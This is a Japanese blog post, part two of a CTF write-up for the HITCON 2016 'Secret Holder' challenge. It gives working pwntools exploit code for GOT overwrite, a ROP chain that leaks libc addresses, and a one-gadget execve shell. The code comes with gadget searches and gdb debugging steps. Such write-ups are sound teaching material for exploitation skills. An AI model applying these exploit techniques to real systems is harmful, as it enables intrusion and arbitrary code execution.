CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 後編
前編の続きです。Unlink Attackにより、任意アドレスの内容を書き換えられるようになりました。
いよいよ後編はGOT Overwriteからシェル起動までを行います。

解法が二種類あるので分けて書きます。 ぶっちゃけROPは初めてなので誤った説明があったらコメント欄などで指摘しちゃってください。
解法1(Stack SmashingからのROP作戦)
しふくろくん方式です。
GOT overwrite & information leak
ROPによりシェル起動を目標にします。 この状況に至るための条件は次の通りです。
- systemのオフセットアドレスが分かっている(or libcを同定できている)
- libcのベースアドレスが分かっている
- stack smashingによりリターンアドレスの書き換えが可能(
gets()
相当のgadgetが必要) __stack_chk_fail()
の呼出しによりexit()
されない- ROPで関数を呼出したときに第一引数をスタックからセットできる(
pop rdi; ret;
なgadgetが存在する)
それぞれの条件を満たす方法を順に説明します。
条件1(libcの同定とsystemのオフセットアドレス)
条件1は__libc_start_main()
のアドレスからオフセットの下位1バイトが分かり、
サーバーのOSはどのpwnの問題でも一緒じゃないのという山勘で他の問題のlibcを見ればsystemのオフセットが分かっちゃったりします。
今回もそうだったみたいですが、
今はローカルでやってるので僕のLinuxのlibcでの話になります。
まずlibcの同定をします。
同定の手順は次の通りです(一応説明)。
libcのデータベースはlibcdb.comを久しぶりに使おうと思いましたが、古いみたいのので却下して、
niklasb/libc-database を使いました。
# ローカルはUbuntuでなく、(CTFのサーバーで採用されない、libc-databaseでも./get
されない)Archi Linuxのlibcなので./add /usr/lib/libc-2.24.so
してあります
- libcの2つの関数のアドレスを明らかにする
- libc-databaseに1の結果を入れて検索
- ヒットしたら勝ち!
やるだけですね。どの2つの関数にするのかの問題はありますが、今回は__libc_start_main
とread
をターゲットにします。
スクリプトは最後に添付します。結果はこうなりました。
[katc@K_atc SecretHolder]$ python2 SecretHolder-libc.py [+] Started program './SecretHolder.patched' __libc_start_main = 0x7efdf89ba1a0 read = 0x7efdf8a754c0 [*] libc address inspection done [*] Stopped program './SecretHolder.patched'
はい検索(出来レース)。
% ./find __libc_start_main 1a0 read 4c0 (master *=) /usr/lib/libc-2.24.so (id local-be8674d37e98b454154e94b989aa08f18611bafd)
最後にsystem
と/bin/sh
のオフセットアドレスも調べておきます。
[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep " system$" 5821: 000000000003f4d0 45 FUNC WEAK DEFAULT 13 system [katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep start_main 2120: 00000000000201a0 458 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5 6322: 00000000000201a0 458 FUNC GLOBAL DEFAULT 13 __libc_start_main [katc@K_atc SecretHolder]$ strings -tx /usr/lib/libc.so.6 | grep /bin/sh$ 161359 /bin/sh
systemと/bin/shのオフセットアドレスはそれぞれ0x3f4d0、0x161359であることが分かりました。
条件2(libcのベースアドレス)
条件2はオフセットが分かっているlibcの関数のGOTに入っている値を読み取れば、引き算でlibcのベースアドレスが分かるので条件を満たせます。
条件3(リターンアドレス書き換え)
条件3はgets()相当の関数を探せばいいだけです。アドレス0x4009f9からのgadgetが使えそうです。
[katc@K_atc SecretHolder]$ objdump -Mintel -d SecretHolder | egrep "call.+read" -B 4 ... snipped ... -- 4009f9: ba 80 1a 06 00 mov edx,0x61a80 4009fe: 48 89 c6 mov rsi,rax 400a01: bf 00 00 00 00 mov edi,0x0 400a06: b8 00 00 00 00 mov eax,0x0 400a0b: e8 f0 fc ff ff call 400700 <read@plt> -- ... snipped ...
条件4(SSP無効化)
条件4は__stack_chk_fail()
のGOTを書き換えて、ret
に飛ばせばいいだけです。
テキトーなret gadgetに飛ばせばいいですね。
条件5(関数の第1引数)
条件5はinfrmation loak時にputs(buf)
をすることを意識しています。
x86-64ではrdiがcallする関数の第一引数に対応するため、callする1手前時点のスタックトップをrsiに入れてくれるpopret(pop rdi; ret;
)が必要になります。
幸いにもそのgadgetがあります。
gdb-peda$ asmsearch "pop rdi;ret" Searching for ASM code: 'pop rdi;ret' in: binary ranges 0x00400e03 : (5fc3) pop rdi; ret
まとめ
というわけでGOT Overwriteとlibcのベースアドレスのリークはこのようなコードになります。
addr = { "puts": 0x4006c0, # "sh": 0x4020ef + 7, # not loaded to memory "mygets": 0x4009f9, "main": 0x400cc2, "exit": 0x400770, } got = { "__libc_start_main": e.got["__libc_start_main"], "__stack_chk_fail": e.got["__stack_chk_fail"], "memset": e.got["memset"], } """GOT overwrite""" renew(small, ''.join([ # 0x0x6020b0-0x18 (0x602098): '\0' * 0x8, # (padding) p64(got["memset"]), # big_secret p64(0), # huge_secret (not used in this exploit) p64(got["__stack_chk_fail"]), # small_secret p32(1) * 3 # holding_{big,huge,small}_secret ])) renew(small, p64(rop["ret"])) # stack_check_fail() <- "function(){return};" # small_secret = rop["ret"] renew(big, p64(addr["mygets"])) # memset() <- mygets() # big_secret = addr["mygets"] r.recvuntil("3. Renew secret\n") r.send(''.join([ '\0' * (0x10 + 8), # (1), +8 = old $rbp p64(rop["pop rdi; ret"]), # rdi = argument of puts() p64(got["__libc_start_main"]), # arg p64(addr["puts"]), # puts address of __libc_start_main() p64(addr["main"]), # recall main() # p64(0x400ce3), # NG: need `mov rbp, rsp` because `rbp` is 0; to avoid SIGSEGV at setvbuf in set_alarm() ])) ret = r.recvline()[:-1] # trim '\n' libc_base_addr = u64(ret.ljust(8, '\0')) libc_base_addr -= offset["__libc_start_main"] print "libc base address = %#x" % libc_base_addr
GOT overwrite直前では先のUnlink Attackにより、small_secret
はsmall_secret-0x18
を指していることと、paddingが8バイト必要な点が注意です。
GOT overwriteによりmemsetがgetsのような関数に化けています。 バッファはmemsetに使われていたバッファはrbp+0x10にあるので、それぶんと$rbpに置かれているsaved old rbpのぶんを加味してバッファオーバーフローさせます。 1番目のROP gadgetが$rbp+0x8にあるreturn addressを書き換える位置に来ればあとはTOP発動でinfomation leakにさせます。
あとはputsで出力された6バイトのアドレスを受け取って、__libc_start_main
のオフセットを差し引けばlibcのベースアドレスが分かります。
# ROPの最後にmain()相当の関数に戻るのではなく、mainの途中に戻るのはダメな理由は余談で話します。
シェル起動
あとはやるだけ、の一言でいいですよね。(GOT overwriteと同様にしてreturn addressを書き換え、シェルを呼ぶROPを発動しているだけです)
"""launch shell""" r.send(''.join([ '\0' * 0x18, p64(rop["pop rdi; ret"]), p64(libc_base_addr + offset["/bin/sh"]), p64(libc_base_addr + offset["system"]), p64(addr["exit"]), ])) # system("sh") r.interactive()
解法2(One-gadget RCEでinstant win作戦)
One-gadget RCEでさくっと勝ちましょうというのが2つ目の解法の方針です。 One-gadget RCEを解説した後、GOT overwriteでOne-gadgetにジャンプする準備をして、 RCE発動という流れで解説します。
One-gadget RCE とは
Dragon Sectorの資料に書かれていることがすべてなのですが、
x86-64(x86はダメ)のlibcに、
ある条件を満たしつつ、特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)
を実行してくれる親切なgadgetが存在します。
gadgetの探し方は/bin/sh
のアドレスを即値で入れてるような命令の周辺を探す方法で良いと思います。いくつか候補が出てきます(冗長なものはカットしてあります)。
ほんとにシェルを起動してくれそうなgadgetがありますね…(今回始めてこの手法を使った人の顔)
% objdump -d /usr/lib/libc-2.24.so | grep 161359 -A 8 -B 8 | grep execve -B 8 3f3aa: 48 8b 05 ef 8a 35 00 mov rax,QWORD PTR [rip+0x358aef] # 397ea0 <_DYNAMIC+0x340> 3f3b1: 48 8d 3d a1 1f 12 00 lea rdi,[rip+0x121fa1] # 161359 <_nl_POSIX_name+0x154> 3f3b8: 48 8d 74 24 30 lea rsi,[rsp+0x30] 3f3bd: c7 05 99 b0 35 00 00 mov DWORD PTR [rip+0x35b099],0x0 # 39a460 <lock> 3f3c4: 00 00 00 3f3c7: c7 05 93 b0 35 00 00 mov DWORD PTR [rip+0x35b093],0x0 # 39a464 <sa_refcntr> 3f3ce: 00 00 00 3f3d1: 48 8b 10 mov rdx,QWORD PTR [rax] 3f3d4: e8 97 90 07 00 call b8470 <execve> -- b8a23: 49 8d 7d 10 lea rdi,[r13+0x10] b8a27: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0] b8a2e: 00 b8a2f: 48 83 c6 08 add rsi,0x8 b8a33: e8 28 b2 fc ff call 83c60 <memcpy@GLIBC_2.2.5> b8a38: 48 8d 3d 1a 89 0a 00 lea rdi,[rip+0xa891a] # 161359 <_nl_POSIX_name+0x154> b8a3f: 4c 89 e2 mov rdx,r12 b8a42: 4c 89 ee mov rsi,r13 b8a45: e8 26 fa ff ff call b8470 <execve> -- d67d0: 48 8d 3d 4a c4 08 00 lea rdi,[rip+0x8c44a] # 162c21 <__libc_version+0xd1> d67d7: e8 b4 ee f5 ff call 35690 <unsetenv> d67dc: 8b 7c 24 60 mov edi,DWORD PTR [rsp+0x60] d67e0: e8 fb 52 00 00 call dbae0 <__close> d67e5: 48 8b 05 b4 16 2c 00 mov rax,QWORD PTR [rip+0x2c16b4] # 397ea0 <_DYNAMIC+0x340> d67ec: 48 8d 74 24 70 lea rsi,[rsp+0x70] d67f1: 48 8d 3d 61 ab 08 00 lea rdi,[rip+0x8ab61] # 161359 <_nl_POSIX_name+0x154> d67f8: 48 8b 10 mov rdx,QWORD PTR [rax] d67fb: e8 70 1c fe ff call b8470 <execve>
execve
で/bin/shを起動したいのですが、引数と環境変数のポインタがNULL、つまりrsi, rdxが0であることが望ましいです。
出てきた候補がシェルを起動してくれるための条件は上から
[rsp+0x30]
と[rax]
が0r12
,r13
が0[rsp+0x70]
と[rax]
が0
と思われますが、One-gadgetの候補が十分少ないので、gdbで確かめながら絞り込むよりも、片っ端から試せばいいよねというのが僕の感想です。 結果を先に書くと、2、3試したらうまくいきました。
GOT Overwriteとlibcのベースアドレスのリーク
前述と同様にしてGOT Overwriteします。
はじめに、small secretのポインタをfreeのGOTに向けます。
次に、freeのGOTをputsのpltでのアドレスで上書きします。
最後に、small secretには__libc_start_main
のアドレスを入れます。
以上の操作により、wipe(small)でputs(__libc_start_main
)したことになります。
(くどいですが、言い換えるとlibcの関数のアドレスをputsさせることになります)
補足)解法2(fastbinsを使わない解法※前編参照)ではhugeとsmallはメモリ上では同じアドレスになるようにmallocしてあります。 よって、hugeへの書き込みはsmallへの書き込みに相当します。
"""GOT overwrite""" renew(huge, ''.join([ # 0x0x6020b0-0x18 (0x602098): '\0' * 0x10, # (padding) p64(0), # big_secret p64(small_secret), # huge_secret p64(got["free"]), # small_secret p32(1) * 3 # holding_{big,huge,small}_secret ])) renew(small, p64(addr["puts"])) # puts(__libc_start_main) <- free(small) """leak libc base address""" renew(huge, ''.join([ p64(got["__libc_start_main"]) ])) wipe(small) ret = r.recvline()[:-1] # trim '\n' libc_base_addr = u64(ret.ljust(8, '\0')) libc_base_addr -= offset["__libc_start_main"] print "libc base address = %#x" % libc_base_addr
One-gadget RCE 発動→シェル起動
候補のOne-gadgetを片っ端から試すだけです。
注意点は一見関係が無さそうに見える_DYNAMIC
なんちゃらがあるアドレスを指定することです。
offset = { "system": 0x3f4d0, "/bin/sh": 0x161359, "__libc_start_main": 0x201a0, # "One-gadget": 0xb8a38, # $r12 == 0 && r13 == 0 # "One-gadget": 0xd67ec, # *($rsp+0x70) == 0 && *$rax == 0 "One-gadget": 0xd67e5, # *($rsp+0x70) == 0 && *$rax == 0 ... snip ... """launch shell""" renew(huge, ''.join([ p64(got["puts"]), # small_secret p32(1) * 3, ])) raw_input('Press Enter to continue: ') renew(small, p64(libc_base_addr + offset["One-gadget"])) r.interactive()
余談
Unlink AttackでのXはhuge_secret
でもいいが、後々これは微妙な理由
まずUnlink Attackにより、X-0x18
から始まるメモリをいじれることになります。
X-0x18はsmall_secret
では、0x6020b0-0x18=0x602098でstdoutの下になりますが、
huge_secret
では、0x6020a8-0x18=0x602090でstdoutの位置になります。
.bss
セクションのstdoutを参照するコードブロックがあり、それがmain相当の関数の冒頭で呼ばれるset_alarm()
なので、あとでmainの先頭に戻ることを前提にすると、stdoutを破壊してはなりません。
値を予想できないように見えるor予想するのがめんどくさいのでsmall_secret
をXとしてUnlink Attackしたほうが楽というわけです(この問題良く出来てるなぁ)。
set_alarm: 0000000000400c81 mov rbp, rsp 0000000000400c84 mov rax, qword [ds:stdout] 0000000000400c8b mov ecx, 0x0 ; argument "size" for method j_setvbuf 0000000000400c90 mov edx, 0x2 ; argument "type" for method j_setvbuf 0000000000400c95 mov esi, 0x0 ; argument "buf" for method j_setvbuf 0000000000400c9a mov rdi, rax ; argument "stream" for method j_setvbuf 0000000000400c9d call j_setvbuf 0000000000400ca2 mov esi, 0x400c68 ; argument "func" for method j_signal 0000000000400ca7 mov edi, 0xe ; argument "sig" for method j_signal 0000000000400cac call j_signal 0000000000400cb1 mov edi, 0x3c ; argument "seconds" for method j_alarm 0000000000400cb6 mov eax, 0x0 0000000000400cbb call j_alarm 0000000000400cc0 pop rbp 0000000000400cc1 ret ; endp
ROPの最後にmain()相当の関数に戻るのではなく、mainの途中に戻るのはダメな理由
r.send(''.join([ '\0' * (0x10 + 8), # (1), +8 = old $rbp p64(rop["pop rdi; ret"]), # rdi = argument of puts() p64(got["__libc_start_main"]), # arg p64(addr["puts"]), # puts address of __libc_start_main() p64(addr["main"]), # recall main() ]))
まずは上のROPの実行対象のアセンブリを書き出してみます。 このとき、スタックオーバーフローを起こすためにmygetsなるgadgetを最初に呼んでいるのでそれも忘れずに書き出します。
# mygets mov edi,0x400e80 call 4006c0 <puts@plt> mov rax,QWORD PTR [rip+0x2016af] mov edx,0x61a80 mov rsi,rax mov edi,0x0 mov eax,0x0 call 400700 <read@plt> nop mov rax,QWORD PTR [rbp-0x8] xor rax,QWORD PTR fs:0x28 je 400a25 <exit@plt+0x2b5> call 4006d0 <__stack_chk_fail@plt> leave ret # popret pop rdi ret # puts(); jmp QWORD PTR [rip+0x20195a] push 0x1 jmp 4006a0 <free@plt-0x10> # main() push rbp mov rbp,rsp sub rsp,0x20 mov rax,QWORD PTR fs:0x28 mov QWORD PTR [rbp-0x8],rax xor eax,eax mov eax,0x0 call 400c80 <exit@plt+0x510> ... snipped ...
今回のスタックオーバーフローは、return addressまで0をパッディングしました。
ということはsaved $rbp(old $rbp)は0に書き換わります。
で、よく見ると上のアセンブリ列には悪しきleave
命令があります!
leave
命令の疑似命令はこうです。
IF StackAddressSize = 32 THEN ESP ← EBP; ELSE IF StackAddressSize = 64 THEN RSP ←RBP; FI; ELSE IF StackAddressSize = 16 THEN SP ← BP; FI; FI; IF OperandSize = 32 THEN EBP ← Pop(); ELSE IF OperandSize = 64 THEN RBP ← Pop(); FI; ELSE IF OperandSize = 16 THEN BP ← Pop(); FI; FI;
困りますね。ROPを発動するとleave命令とsaved $rbpのせいで、$rbpが0になってしまいます。
この状態でmainの途中から実行してもうまくいくはずがありません。というかセグフォで実際うまくいきません。
alarmを殺すことは忘れて大人しくmain()の先頭に戻ることが今回求められます。
main()の先頭に戻るとmov rbp,rsp
によりrbpの値がいい感じに復元されます(幸いにも$rspはROPで破壊されていません)。
お手軽Exploitコードのデバッグ方法
今回気づいた方法です。 Exploitコードに残してありますが、
raw_input('Press Enter to continue: ')
を入れると簡易的なブレークポイントとして機能します。
つまり、その行に到達して攻撃ペイロードの送信が止まります。
あとは、次のコマンドのようにして、gdbから起動中のプロセスにアタッチするとExploitコードのデバッグが可能になります。
プロセスのアタッチにはroot権限が必要なのでお忘れなく。
# pgrep
コマンド便利っすね
sudo gdb -q SecretHolder -x SecretHolder.gdb -p `pgrep SecretHolder`
pwntoolsで r.interactive()
でも止められますけど、とある条件で送られるペイロードが化けるようにみえるのでおすすめできません。
socatとgdb-serverの組み合わせによるデバッグでも、なぜかペイロードが化けるのでおすすめできません(問題によって化けなかったりして厄介だな)。
完成したExploitコード
gistに上げてあります。
https://gist.github.com/K-atc/0b48c901d705ae9bdbda40085d5c87f2
くぅ〜疲れましたっ><
これにて完結です!
Secret Holderは正しくいい問題でした。
(Unsafe)Unlink AttackやROPが初めての方はぜひ解いてみてください〜
別解を見つけた方はぜひご自身のブログで公開し、友利奈緒までご一報ぐださいませ。